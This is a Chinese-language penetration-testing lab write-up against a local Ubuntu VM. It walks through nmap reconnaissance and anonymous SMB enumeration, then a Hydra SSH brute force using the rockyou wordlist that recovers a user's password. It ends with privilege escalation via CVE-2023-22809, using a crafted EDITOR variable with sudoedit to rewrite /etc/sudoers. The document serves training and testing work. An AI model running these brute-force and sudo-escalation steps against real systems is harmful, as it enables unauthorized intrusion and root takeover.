目录
- 一、环境准备
- 二、信息收集
- 三、暴力破解靶机的SSH
- 四、利用CVE-2023-22809漏洞提权
-
- [1、sudo 提权的意义](#1、sudo 提权的意义)
- 2、开始攻击
一、环境准备
1、运行环境
(1)目标主机
| 名称 | 值 |
|---|---|
| 操作系统 | Ubuntu Server 16 |
| 中间件 | PHP7.0 + Apache2.4.52 |
| 数据库 | MySQL 5.7 |
(2)攻击机
| 名称 | 值 |
|---|---|
| 操作系统 | Kali Linux 2023.4 |
2、配置sudoers策略(目标主机)
bash
$ visudo
# User privilege specification
root ALL=(ALL:ALL) ALL
jan ALL=(root) NOPASSWD: sudoedit /etc/services
# 编辑好之后按Ctrl+X,接着按Y进行保存
备注:此部分的操作仅限于蓝队视角,而非攻击者的视角,所以后续的操作是假定攻击者不知道目标主机信息的情况下的操作。
二、信息收集
1、利用Nmap工具扫描C段
bash
$ nmap 192.168.179.2/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 10:31 EDT
Nmap scan report for 192.168.179.1
Host is up (0.00010s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
902/tcp open iss-realsecure
912/tcp open apex-mesh
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.179.2
Host is up (0.000048s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp filtered domain
MAC Address: 00:50:56:EB:0F:0A (VMware)
Nmap scan report for 192.168.179.131
Host is up (0.0012s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8009/tcp open ajp13
8080/tcp open http-proxy
MAC Address: 00:0C:29:F3:9F:F8 (VMware)
Nmap scan report for 192.168.179.254
Host is up (0.00025s latency).
All 1000 scanned ports on 192.168.179.254 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 00:50:56:E9:41:EF (VMware)
Nmap scan report for 192.168.179.128
Host is up (0.0000010s latency).
All 1000 scanned ports on 192.168.179.128 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
Nmap done: 256 IP addresses (5 hosts up) scanned in 14.05 seconds
结论:通过扫描结果可以看出,主机 192.168.179.131 是网络中最核心的攻击目标。该主机开放了多个高危服务端口,包括 Web 服务(80, 8080)、远程管理(SSH 22)、Windows 文件共享(139, 445)以及 AJP 协议端口(8009),攻击面广泛,是后续渗透测试的首要目标。
2、Tomcat版本探测
bash
$ nmap -sV -p 8009,8080 192.168.179.131
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 22:09 EDT
Nmap scan report for 192.168.179.131
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 9.0.7
MAC Address: 00:0C:29:F3:9F:F8 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.37 seconds
结论:端口 8009 运行 Apache JServ Protocol (AJP) 1.3,端口 8080 运行 Apache Tomcat 9.0.7。获取精确版本号为进一步查找和利用相关漏洞(如 Tomcat 特定版本漏洞、AJP 协议安全缺陷)提供了直接依据。
3、SMB服务详情
bash
$ nmap --script smb-vuln* -p 139,445 192.168.179.131
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 22:10 EDT
Nmap scan report for 192.168.179.131
Host is up (0.00024s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:F3:9F:F8 (VMware)
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
| smb-vuln-regsvc-dos:
| VULNERABLE:
| Service regsvc in Microsoft Windows systems vulnerable to denial of service
| State: VULNERABLE
| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
| while working on smb-enum-sessions.
|_
Nmap done: 1 IP address (1 host up) scanned in 5.30 seconds
结论:此次 SMB 漏洞扫描未发现可直接用于获取权限的高危漏洞,但存在一个可利用性有限的拒绝服务漏洞点。渗透测试的重心需要转向该主机上已发现的其他服务(如 Apache Tomcat 9.0.7)。
4、Web应用指纹
(1)80端口
bash
$ whatweb http://192.168.179.131:80
http://192.168.179.131:80 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.179.131]
(2)8080端口
bash
$ whatweb http://192.168.179.131:8080
http://192.168.179.131:8080 [200 OK] Country[RESERVED][ZZ], HTML5, IP[192.168.179.131], Title[Apache Tomcat/9.0.7]
结论:目标主机运行了两个 Web 服务,均非最新版本,扩大了攻击面。在后续渗透测试中,应优先针对 Apache Tomcat 9.0.7 (8080端口) 进行深入测试,因为应用服务器通常比基础的 Web 服务器(Apache 2.4.18)存在更复杂的交互界面和更多潜在的配置问题。
5、操作系统识别
bash
$ nmap -O 192.168.179.131
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 22:14 EDT
Nmap scan report for 192.168.179.131
Host is up (0.00028s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8009/tcp open ajp13
8080/tcp open http-proxy
MAC Address: 00:0C:29:F3:9F:F8 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds
结论:此信息与之前 whatweb扫描显示的"Ubuntu Linux"相互印证,并提供了更具体的内核版本范围。在渗透测试中,明确的操作系统和内核版本是查找系统层漏洞(如本地提权漏洞)和进行针对性攻击的重要依据。结合已开放的端口和服务(如SSH, Apache, Tomcat, SMB),可以进一步缩小漏洞搜索范围。
6、SMB服务深入检测
bash
$ smbclient -L //192.168.179.131 -N
Sharename Type Comment
--------- ---- -------
Anonymous Disk
IPC$ IPC IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP PC-20251229UZVP
└─$ smbclient //192.168.179.131/Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 19 13:31:20 2018
.. D 0 Thu Apr 19 13:13:06 2018
staff.txt N 173 Thu Apr 19 13:29:55 2018
14318640 blocks of size 1024. 10671532 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (84.5 KiloBytes/sec) (average 84.5 KiloBytes/sec)
smb: \>
(2)文件分析
bash
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

结论:本次对SMB匿名共享的利用是渗透测试中的一个关键进展。不仅验证了该漏洞的实际危害,还从中提取了潜在的有效用户名 "Jan"。后续攻击路径可结合此用户名,针对已发现的SSH服务(端口22)或Tomcat管理后台(端口8080)进行暴力破解或密码喷洒攻击。
三、暴力破解靶机的SSH
bash
$ hydra -l jan -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.179.131 -t 16 -vV
命令解释:
- hydra
作用:启动 Hydra 暴力破解工具
用途:用来爆破各种服务密码(SSH/FTP/MySQL/RDP 等) - -l jan
-l = 指定单个用户名
这里用户名是:jan
意思:只爆破用户 jan 的密码 - -P /usr/share/wordlists/rockyou.txt.gz
-P = 指定密码字典文件
字典路径:/usr/share/wordlists/rockyou.txt.gz
这是 Kali 自带的 超大型常用密码字典(最经典)
.gz 是压缩包,Hydra 可以直接读取 - ssh://192.168.179.131
指定目标服务 + IP
ssh:// = 爆破 SSH 服务
192.168.179.131 = 目标服务器 IP - -t 16
-t = 设置线程数(并发数)
这里是 16 线程同时爆破
数字越大,破解越快,但容易被封 - -vV
-v = 显示详细过程
-V = 显示每一次尝试的用户名 + 密码
合起来就是:显示完整爆破日志(看得见每一次试密码)
运行效果 :


破解后得到的结果如下:
bash
用户名:jan
密码为:armando
四、利用CVE-2023-22809漏洞提权
1、sudo 提权的意义
sudo 允许系统管理员向指定用户或用户组下放权限,让普通用户可以临时以 root 或其他用户身份,执行部分甚至全部管理员命令。
sudo 的核心授权逻辑依赖配置文件 /etc/sudoers,该文件专门定义:哪些用户能使用 sudo、可执行哪些命令、以及以哪个身份运行。
sudo 执行时会读取该配置文件做权限校验;一旦 /etc/sudoers 配置出错或被恶意篡改,普通用户就可能越权以 root 身份执行任意命令,造成严重安全风险。
重点说明:漏洞影响的版本是在1.8.0~1.9.12p1。
2、开始攻击
Step1 :通过XShell连接到靶机

Step2:检查sudo的版本
bash
$ sudo -V

目标主机的系统中的sudo版本刚好位于1.8.0~1.9.12p1中。
Step3:尝试提权处理
bash
$ export EDITOR="vi -- /etc/passwd"
$ sudoedit /etc/services

能够在非root且无sudo支持的情况下,可以编辑/etc/passwd文件了。
Step4:编辑jan用户拥有sudo的权限
bash
$ export EDITOR="vi -- /etc/sudoers"
$ sudoedit /etc/services
# User privilege specification
root ALL=(ALL:ALL) ALL
jan ALL=(ALL:ALL) ALL
Step5:尝试提权到root
bash
$ sudo su root

说明:Ubuntu server 16及之后的版本,想要通过该方式提权不一定能成功!1.8 到 1.9.12p1其中多个版本的sudo,均未复现成功